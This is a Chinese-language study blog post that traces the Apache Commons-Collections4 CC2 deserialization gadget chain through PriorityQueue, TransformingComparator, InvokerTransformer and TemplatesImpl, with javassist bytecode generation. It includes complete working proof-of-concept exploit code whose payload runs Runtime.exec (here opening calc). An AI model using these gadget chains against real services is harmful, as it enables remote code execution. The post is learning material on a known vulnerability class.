CC2

Java学习

CC2

common-collection4

官方认为旧的旧的common-collection有一些结构和API设计上的问题,但修复这些问题会产生大量不能向前兼容的改动。于是推出的common-collection4不再认为是一个用来替换common-collection的新版本,而是一个新的包。

两者的命名空间不冲突,可以共存在同一个项目中。

在common-collection4-4.0下,依旧能利用common-collection-3.2.1的调用链,只是换了个包名而已。

依赖改成如下即可:

1
2
3
4
5
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

针对common-collections4,ysoserial也是给出了两条反序列化调用链,也就是cc2和cc4,这里就讲讲CC2。

前置知识

测试环境:

  • commons-collections4.0
  • JDK 8u411

CC2有利用到javassist,所以这里需要有javassist的前置知识。

需要了解的类

PriorityQueue

这个类位于java.util.PriorityQueue

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会更具元素的排序顺序决定出堆的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

在CC2中,我们就是要利用到PriorityQueue类,来看这个类重写的readObject()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        heapify();
    }

这里将数据反序列化到queue中后,会调用heapify()方法来对数据进行排序。跟进一下heapify()方法: image-20240802205957639

heapify()方法会调用siftDown(),继续跟进:

image-20240802210116518

comparator不为 null 的时候,就会调用siftDownUsingComparator()方法:

image-20240802210453983siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。

这样,反序列化之后的优先级队列,也拥有了顺序。

TransformingComparator

TransformingComparator 是触发漏洞的关键,他将 Transformer 执行点和 PriorityQueue 触发点联系了起来。这个类位于org.apache.commons.collections4.comparators.TransformingComparator

既然这里都说到了联系了起来,在PriorityQueue 类的最后说到了 compare() 方法,那么我们来看一下TransformingComparator 的compare()方法: image-20240802211302460

这里就调用到了transform 方法,通过的是this.transformer对象,来看一下TransformingComparator的构造方法: image-20240802211515343

如果初始化的时候不指定 Comparator,则使用这个类直接定义的的 ComparableComparator.comparableComparator(),也就是第一个构造方法,并且我们就是要利用第一个构造方法。

这里可以看到正好这个this.transformer变量是我们要求的Transformer类型。这样我们就传入基本盘的链子实现漏洞利用。

链子大概出来了,现在就是来构造。

攻击构造

还是给个代码来调试,结合前面的大概链子的说明,这里需要给出PriorityQueue实例和TransformingComparator实例,还是简单给出一个代码来调试。来看一下我们要利用到的PriorityQueue类的构造方法: image-20240802221841596

这里的initialCapacity不能小于1。

结合前面的描述,我们需要将这里的this.comparator设置为TransformingComparator类的实例。

那么就可以尝试构造一下代码了:

fake:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;
import java.util.PriorityQueue;
import java.util.Comparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(chainPart);
        TransformingComparator comparator1 = new TransformingComparator(chain);
        PriorityQueue priority = new PriorityQueue(1,comparator1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

在调试过程中,直接在heapify()就结束了,并没有进入for循环: image-20240803002101939

个人想法:这是因为PriorityQueue被初始化的时候只有一个元素空间,但是没有实际添加任何元素,所以我们需要调用PriorityQueue的add方法来向对象添加元素

疑问一

这里就有个小疑问了,初始化了一个元素空间,这是什么,我们看之前给出的利用到的PriorityQueue类的构造方法: image-20240803003120535

并且我们在初始化的时候确实是只传了一个1进去。现在来分析一下这个构造方法,我们看这一块: image-20240803003217885

这里是创建了一个下标为initialCapacity的Object数组并赋值给了this.queue,所以在这里initialCapacity的值代表了这个数组能容纳多少个值。

那么现在来看一下add方法: image-20240803003547015

这个add方法实际调用的是offer()方法,来分析一下offer()方法的源码:

这里用到了size变量,定义如下: image-20240803005043238

继续分析offer()方法:

  • 当第一次调用add,即第一次进入offer方法,此时会将i设置为size定义的0,然后由于i<我们初始化定义的queue数组长度1,所以不会进入第一个if条件

  • 然后继续,此时就会size赋值i+1,导致size的值变成1。

  • 然后由于第一次进入,此时的i为0,就会进入第二个if条件,这样就会将我们定义得queue数组的第一个值定义为我们add进的比如10。

  • 这样就完成了数组的赋值。

那么如果我们类初始化时传入的是2呢?定义了“两个容量”的数组,然后在第二次put时会发生什么?(假设我们第二次还是add进10)

  • 这样i就是1,第一个if条件同样不会进入

  • size的值变成2

  • 第二个if条件不会进入,会调用siftUp方法,那么此时的i为1,x为10,看一下源码:

    image-20240803005932255

    类初始化的时候我们定义了comparator变量,继续跟进siftUpUsingComparator方法:

    image-20240803010624340

    这里自然会进入while循环,并且会调用comparator的compare()方法来比较(稍微看一下可以知道就是在给数组第二个赋值,所以基本可以肯定我们初始化时传进去的int值就是用来确定可以add进几个元素了)。

    ————

    这里我想到了一个东西,由于我们传入的compare变量为TransformingComparator,那么是否可以认为只要我们正确传入链子,这里应该是可以成功弹出计算机的,测试一下:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    package org.example;
    import java.util.PriorityQueue;
    import java.util.Comparator;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.Transformer;
    
    import java.io.FileOutputStream;
    import java.io.FileInputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
            Transformer chain = new ChainedTransformer(chainPart);
            TransformingComparator comparator1 = new TransformingComparator(chain);
            PriorityQueue priority = new PriorityQueue(2,comparator1);
            priority.add(10);
            priority.add(10);
        }
    }
    

    成功按照预期弹出两个计算机,这是因为TransformingComparator的compare用了两次transformer方法:

    image-20240803013121534

    那么为了避免这个序列化时弹计算机问题,我们就使用之前说过的先假再反射更改为真的就行了。

    想法结束,可行

    ————

    继续分析siftUpUsingComparator代码,现在就跟进一下那个if条件,在我们进入到TransformingComparator的compare后,如上图源码。就算在上面传入真的利用链,最后返回的都是1,所以无论我们add进什么值,最后这里比较的value1和value2都是1,然后调用decorate.compare()方法,可以直接用上面的代码调试,然后到ComparableComparator类的compare():

    image-20240803013918165

    然后就直接返回到TransformingComparator的compare()方法==》直接退回到add()了,不知道这个compareTo的结果是什么,但是可以加断点看结果: image-20240803014303288

    可以知道最后的compareTo的结果是true,导致while循环直接结束,然后就直接给queue[1] = 10了。结合我前面说的,由于我们构造的链子,会导致compareTo比较的值会都是1,直接返回true,所以其实这里的siftUpUsingComparator()我们可以看作是直接给对应的下标k赋值为x即可

——————

offer()方法分析结束,但是我此时想到了PriorityQueue的readObject()方法: image-20240803014846277

前面给过size变量的定义了,可以看出size的值是可以被序列化的,并且从上面的过程可以看出size的值是和我们add进的值个数是相同的。这样基本就可以看懂这里的readObject()方法是在干嘛了。

疑问解决

现在继续分析heapify()方法: image-20240803015410963

就是看会不会进入这个for循环,这里的size正好就是我们前面刚说过的,前面的>>>是按位右移补零操作符,当size为0,1时候i都小于0,这里需要满足size≥2,即我们需要add进两个元素。

那么代码可以改为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.lang.reflect.Field;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        TransformingComparator comparator1 = new TransformingComparator(chain);
        PriorityQueue priority = new PriorityQueue(2,comparator1);
        priority.add(1);
        priority.add(1);
        
        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

但是这样已经成功在反序列化的时候弹出两个计算机了。

还是继续跟一下:

所以此时siftDown的参数分别为0和queue[0]的值,也就是1。

然后有效点到了siftDownUsingComparator方法

image-20240803021405137

对应值图里面都有,size就是我们最开始定义的2,剩下的已经很好看懂了,最后就是在第二个if这里成功调用compare()方法从而弹出计算机。

OK,调用链结束。

最终的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import java.lang.reflect.Field;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        TransformingComparator comparator1 = new TransformingComparator(chain);
        PriorityQueue priority = new PriorityQueue(2,comparator1);
        priority.add(1);
        priority.add(1);

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(priority);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

javassist补充

除了前面的POC,还可以利用到javassist来操作,刚好这里要利用到之前在javassist没说过的利用方法,简单说下,直接看代码和结果就行了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package org.example;
import javassist.ClassPool;
import javassist.CtClass;

public class Haha {
    public static void main(String[] args) throws Exception {
        ClassPool  classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("cat");
        String cmd = "System.out.println(\"static创建成功\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.writeFile("output");
        Class clazz = ctClass.toClass();
        clazz.newInstance();
    }
}

运行后成功在output目录下生成cat.class文件: image-20240803143524351

并且成功输出static创建成功: image-20240803143539153

————————

这里的javassist构造就直接看POC来分析

POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        //获取默认的ClassPool
        ClassPool pool = ClassPool.getDefault();
        //向ClassPool容器插入AbstractTranslet.class
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建Cat类
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        //就是创建static默认方法
        cc.makeClassInitializer().insertBefore(cmd);
        //生成一个随机的类名,这里使用了当前系统时间的纳秒部分来确保“唯一性”
        String randomClassName = "EvilCat" + System.nanoTime();
        //更改类名,但是其实直接用Cat就行,但是用来确保唯一性也是可以的
        cc.setName(randomClassName);
        //cc.writeFile();
        //设置cc类的父类
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
            inputStream.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

对于javassist的操作注释已经说很清楚了,从中给"Cat"类加父类AbstractTranslet就是动态加载字节码里面要求的。

现在来分析一下其他的代码,将中间的javassist直接理解为一个构造类似Test.class的过程,现在来看其他的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        //直接将InvokerTransformer类实例传给transformer变量
        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        //将CtClass对象转换为字节码
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //这里是正常的能够成功加载字节码的要求
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

分别看代码: image-20240803151124936

这一部分就是获取InvokerTransformer的构造方法,然后将一般在加载字节码时需要用到的newTransformer传进去,这里分别在实例化时用到的方法为: InvokerTransformer

image-20240803151256197

TransformingComparator就是前面讲过的那个。

PriorityQueue则是:

image-20240803151539067

然后继续看:

image-20240803151718563

这里就是定义了一个数组,为什么是Object[]很好理解,为什么是这个顺序后面会说。

然后调用反射将queue的值更改为这个数组。

后续又是反射来更改size值为2,因为我们没有调用add方法,所以不会让size值增加,我们需要改值。

再后来又是反射修改PriorityQueue的comparator的值为我们的利用链。

思考一下其实到transform()方法的路线都是一样的,差别就在于这里是直接调用的InvokerTransformer的transform()方法,我们来看一下有些啥特殊之处:

这里就需要注意这个obj1了,因为InvokerTransformer需要注意传入的值。

image-20240803152547911

在前面的第一条链子的调试过程中我们很容易可以知道这里的obj1就代表queue[0]里面的templates对象,也就是前面那条链子反序列化时的:

image-20240803015410963

image-20240803021405137

这样就很清楚了,然后为什么需要前面的是TemplatesImpl类实例,后面的才是其其他值:

这里主要是因为如果1在前面,那么在调用transform()方法时就会抛出异常然后退出:

image-20241230163141478

这样就不能达到既定的目的。

但是如果我们将TemplatesImpl类实例放在前面,那么就会先传入TemplatesImpl,成功完成一次method.invoke(),也就会成功及逆行一次命令执行。虽然同样会报错退出,但是已经达到了既定目的。这也就是需要将TemplatesImpl类实例放在前面的原因。

那么对于后续的调用的InvokerTransformer类的transform()方法也清楚了: image-20240803153502905

跟我们之前说的CC3那里异曲同工,还是比较精妙的。

现在基本就通了,这里就是在动态加载字节码过程中的newInstance()时会触发static代码块,然后弹出计算机。

所以最终的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2,Tcomparator);

        //获取默认的ClassPool
        ClassPool pool = ClassPool.getDefault();
        //向ClassPool容器插入AbstractTranslet.class
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建Cat类
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        //就是创建static默认方法
        cc.makeClassInitializer().insertBefore(cmd);
        //生成一个随机的类名,这里使用了当前系统时间的纳秒部分来确保“唯一性”
        String randomClassName = "EvilCat" + System.nanoTime();
        //更改类名,但是应该直接用Cat就行了,但是用来确保唯一性也是可以的
        cc.setName(randomClassName);
        //设置cc类的父类
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //cc.writeFile("output");

        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);


        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.ser"));
        inputStream.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功按照预期弹出一个计算机。

稍微改一点javassist代码就可以得到构造出来的类为: image-20240803155725440

还有一个点就是为什么在动态加载字节码那里会少一行,这是因为TemplatesImpl类的readObject()方法有定义: image-20240803160301177

在构造代码时也可以加上,像CC3那样。

但是我有点小奇怪的就是为啥不用在比如Cat类重写那两个transform()方法,但是无所谓,就算不能用也可以直接使用javassist将transform()方法添加上去即可。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计